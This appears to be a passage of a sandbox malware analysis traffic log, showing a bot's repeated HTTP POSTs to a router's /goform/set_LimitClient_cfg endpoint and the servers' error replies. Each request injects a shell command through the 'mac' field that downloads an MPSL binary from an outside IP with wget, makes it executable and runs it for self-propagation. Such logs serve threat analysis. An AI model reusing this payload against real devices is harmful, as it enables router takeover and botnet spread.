2d 70 61 63 6b 61 67 65 73 2f 77 65 62 2e 70 79 2d 30 2e 33 39 2d 70 79 32 2e 37 2e 65 67 67 2f 77 65 62 2f 77 73 67 69 73 65 72 76 65 72 2f 5f 5f 69 6e 69 74 5f 5f 2e 70 79 22 2c 20 6c 69 6e 65 20 32 31 31 30 2c 20 69 6e 20 67 65 74 5f 65 6e 76 69 72 6f 6e 0a 20 20 20 20 27 50 41 54 48 5f 49 4e 46 4f 27 3a 20 72 65 71 2e 70 61 74 68 2c 0a 41 74 74 72 69 62 75 74 65 45 72 72 6f 72 3a 20 27 48 54 54 50 52 65 71 75 65 73 74 27 20 6f 62 6a 65 63 74 20 68 61 73 20 6e 6f 20 61 74 74 72 69 62 75 74 65 20 27 70 61 74 68 27 0a Data Ascii: Traceback (most recent call last): File "/usr/local/lib/python2.7/site-packages/web.py-0.39-py2.7.egg/web/wsgiserver/__init__.py", line 1245, in communicate req.respond() File "/usr/local/lib/python2.7/site-packages/web.py-0.39-py2.7.egg/web/wsgiserver/__init__.py", line 775, in respond self.server.gateway(self).respond() File "/usr/local/lib/python2.7/site-packages/web.py-0.39-py2.7.egg/web/wsgiserver/__init__.py", line 2010, in __init__ self.env = self.get_environ() File "/usr/local/lib/python2.7/site-packages/web.py-0.39-py2.7.egg/web/wsgiserver/__init__.py", line 2110, in get_environ 'PATH_INFO': req.path,AttributeError: 'HTTPRequest' object has no attribute 'path'

Timestamp	Bytes transferred	Direction	Data
Feb 16, 2024 09:45:38.755506039 CET	236	OUT	POST /goform/set_LimitClient_cfg HTTP/1.1 Cookie: user=admin Data Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 38 2e 32 33 35 2e 33 32 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.178.235.32/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Feb 16, 2024 09:45:38.940263033 CET	426	IN	HTTP/1.1 401 Unauthorized Date: Fri, 16 Feb 2024 08:45:38 GMT Server: Boa/0.94.14rc21 Accept-Ranges: bytes Connection: close WWW-Authenticate: Basic realm="PCV AC680R1" Content-Type: text/html; charset=ISO-8859-1 Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 34 30 31 20 55 6e 61 75 74 68 6f 72 69 7a 65 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 3e 3c 48 31 3e 34 30 31 20 55 6e 61 75 74 68 6f 72 69 7a 65 64 3c 2f 48 31 3e 0a 59 6f 75 72 20 63 6c 69 65 6e 74 20 64 6f 65 73 20 6e 6f 74 20 68 61 76 65 20 70 65 72 6d 69 73 73 69 6f 6e 20 74 6f 20 67 65 74 20 55 52 4c 20 2f 67 6f 66 6f 72 6d 2f 73 65 74 5f 4c 69 6d 69 74 43 6c 69 65 6e 74 5f 63 66 67 20 66 72 6f 6d 20 74 68 69 73 20 73 65 72 76 65 72 2e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>401 Unauthorized</TITLE></HEAD><BODY><H1>401 Unauthorized</H1>Your client does not have permission to get URL /goform/set_LimitClient_cfg from this server.</BODY></HTML>

Timestamp	Bytes transferred	Direction	Data
Feb 16, 2024 09:45:52.754693985 CET	224	OUT	POST /goform/set_LimitClient_cfg HTTP/1.1 Cookie: user=admin Data Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 38 2e 32 33 35 2e 33 32 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.178.235.32/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Feb 16, 2024 09:45:55.915052891 CET	224	OUT	POST /goform/set_LimitClient_cfg HTTP/1.1 Cookie: user=admin Data Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 38 2e 32 33 35 2e 33 32 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.178.235.32/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;

Timestamp	Bytes transferred	Direction	Data
Feb 16, 2024 09:45:53.803145885 CET	236	OUT	POST /goform/set_LimitClient_cfg HTTP/1.1 Cookie: user=admin Data Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 38 2e 32 33 35 2e 33 32 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.178.235.32/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Feb 16, 2024 09:45:54.030716896 CET	349	IN	HTTP/1.1 500 Internal Server Error Content-Type: text/html; charset=utf-8 Content-Length: 130 Set-Cookie: JSESSIONID=deleted; Expires=Thu, 01 Jan 1970 00:00:01 GMT; Path=/; HttpOnly Connection: close Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><title>500 Internal Server Error</title></head><body><center><h1>500 Internal Server Error</h1></center></body></html>

Timestamp	Bytes transferred	Direction	Data
Feb 16, 2024 09:45:54.030299902 CET	236	OUT	POST /goform/set_LimitClient_cfg HTTP/1.1 Cookie: user=admin Data Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 38 2e 32 33 35 2e 33 32 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.178.235.32/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Feb 16, 2024 09:45:54.266834974 CET	349	IN	HTTP/1.1 500 Internal Server Error Content-Type: text/html; charset=utf-8 Content-Length: 130 Set-Cookie: JSESSIONID=deleted; Expires=Thu, 01 Jan 1970 00:00:01 GMT; Path=/; HttpOnly Connection: close Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><title>500 Internal Server Error</title></head><body><center><h1>500 Internal Server Error</h1></center></body></html>

Timestamp	Bytes transferred	Direction	Data
Feb 16, 2024 09:45:54.109380007 CET	224	OUT	POST /goform/set_LimitClient_cfg HTTP/1.1 Cookie: user=admin Data Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 38 2e 32 33 35 2e 33 32 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.178.235.32/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Feb 16, 2024 09:45:55.723102093 CET	224	OUT	POST /goform/set_LimitClient_cfg HTTP/1.1 Cookie: user=admin Data Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 38 2e 32 33 35 2e 33 32 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.178.235.32/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Feb 16, 2024 09:45:57.611046076 CET	224	OUT	POST /goform/set_LimitClient_cfg HTTP/1.1 Cookie: user=admin Data Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 38 2e 32 33 35 2e 33 32 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.178.235.32/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;

Timestamp	Bytes transferred	Direction	Data
Feb 16, 2024 09:45:57.351475954 CET	236	OUT	POST /goform/set_LimitClient_cfg HTTP/1.1 Cookie: user=admin Data Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 38 2e 32 33 35 2e 33 32 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.178.235.32/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Feb 16, 2024 09:45:57.438720942 CET	328	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 16 Feb 2024 08:45:57 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Timestamp	Bytes transferred	Direction	Data
Feb 16, 2024 09:45:57.411345005 CET	236	OUT	POST /goform/set_LimitClient_cfg HTTP/1.1 Cookie: user=admin Data Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 38 2e 32 33 35 2e 33 32 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.178.235.32/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Feb 16, 2024 09:45:57.563256025 CET	1286	IN	HTTP/1.1 400 Bad Request Server: squid/3.5.20 Mime-Version: 1.0 Date: Fri, 16 Feb 2024 08:44:06 GMT Content-Type: text/html;charset=utf-8 Content-Length: 3470 X-Squid-Error: ERR_INVALID_URL 0 Connection: close Data Raw: 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 74 79 70 65 3d 22 63 6f 70 79 72 69 67 68 74 22 20 63 6f 6e 74 65 6e 74 3d 22 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 31 36 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 74 69 74 6c 65 3e 45 52 52 4f 52 3a 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 72 65 74 72 69 65 76 65 64 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 20 0a 20 2f 2a 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 31 36 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 0a 20 2a 0a 20 2a 20 53 71 75 69 64 20 73 6f 66 74 77 61 72 65 20 69 73 20 64 69 73 74 72 69 62 75 74 65 64 20 75 6e 64 65 72 20 47 50 4c 76 32 2b 20 6c 69 63 65 6e 73 65 20 61 6e 64 20 69 6e 63 6c 75 64 65 73 0a 20 2a 20 63 6f 6e 74 72 69 62 75 74 69 6f 6e 73 20 66 72 6f 6d 20 6e 75 6d 65 72 6f 75 73 20 69 6e 64 69 76 69 64 75 61 6c 73 20 61 6e 64 20 6f 72 67 61 6e 69 7a 61 74 69 6f 6e 73 2e 0a 20 2a 20 50 6c 65 61 73 65 20 73 65 65 20 74 68 65 20 43 4f 50 59 49 4e 47 20 61 6e 64 20 43 4f 4e 54 52 49 42 55 54 4f 52 53 20 66 69 6c 65 73 20 66 6f 72 20 64 65 74 61 69 6c 73 2e 0a 20 2a 2f 0a 0a 2f 2a 0a 20 53 74 79 6c 65 73 68 65 65 74 20 66 6f 72 20 53 71 75 69 64 20 45 72 72 6f 72 20 70 61 67 65 73 0a 20 41 64 61 70 74 65 64 20 66 72 6f 6d 20 64 65 73 69 67 6e 20 62 79 20 46 72 65 65 20 43 53 53 20 54 65 6d 70 6c 61 74 65 73 0a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 66 72 65 65 63 73 73 74 65 6d 70 6c 61 74 65 73 2e 6f 72 67 0a 20 52 65 6c 65 61 73 65 64 20 66 6f 72 20 66 72 65 65 20 75 6e 64 65 72 20 61 20 43 72 65 61 74 69 76 65 20 43 6f 6d 6d 6f 6e 73 20 41 74 74 72 69 62 75 74 69 6f 6e 20 32 2e 35 20 4c 69 63 65 6e 73 65 0a 2a 2f 0a 0a 2f 2a 20 50 61 67 65 20 62 61 73 69 63 73 20 2a 2f 0a 2a 20 7b 0a 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 76 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 7d 0a 0a 68 74 6d 6c 20 62 6f 64 79 20 7b 0a 09 6d 61 72 67 69 6e 3a 20 30 3b 0a 09 70 61 64 64 69 6e 67 3a 20 30 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 65 66 65 66 65 66 3b 0a 09 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 32 70 78 3b 0a 09 63 6f 6c 6f 72 3a 20 23 31 65 31 65 31 65 3b 0a 7d 0a 0a 2f 2a 20 50 61 67 65 20 64 69 73 70 6c 61 79 65 64 20 74 69 74 6c 65 20 61 72 65 61 20 2a 2f 0a 23 74 69 74 6c 65 73 20 7b 0a 09 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 31 35 70 78 3b 0a 09 70 61 64 64 69 6e 67 3a 20 31 30 70 78 3b 0a 09 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 20 31 30 30 70 78 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 75 72 6c 28 27 2f 73 71 75 69 64 2d 69 6e 74 65 72 6e 61 6c 2d 73 74 61 74 69 63 2f 69 63 6f 6e 73 2f 53 4e 2e 70 6e 67 27 29 20 Data Ascii: <html><head><meta type="copyright" content="Copyright (C) 1996-2016 The Squid Software Foundation and contributors"><meta http-equiv="Content-Type" content="text/html; charset=utf-8"><title>ERROR: The requested URL could not be retrieved</title><style type="text/css">... /* * Copyright (C) 1996-2016 The Squid Software Foundation and contributors * * Squid software is distributed under GPLv2+ license and includes * contributions from numerous individuals and organizations. * Please see the COPYING and CONTRIBUTORS files for details. // Stylesheet for Squid Error pages Adapted from design by Free CSS Templates http://www.freecsstemplates.org Released for free under a Creative Commons Attribution 2.5 License// Page basics / {font-family: verdana, sans-serif;}html body {margin: 0;padding: 0;background: #efefef;font-size: 12px;color: #1e1e1e;}/* Page displayed title area */#titles {margin-left: 15px;padding: 10px;padding-left: 100px;background: url('/squid-internal-static/icons/SN.png')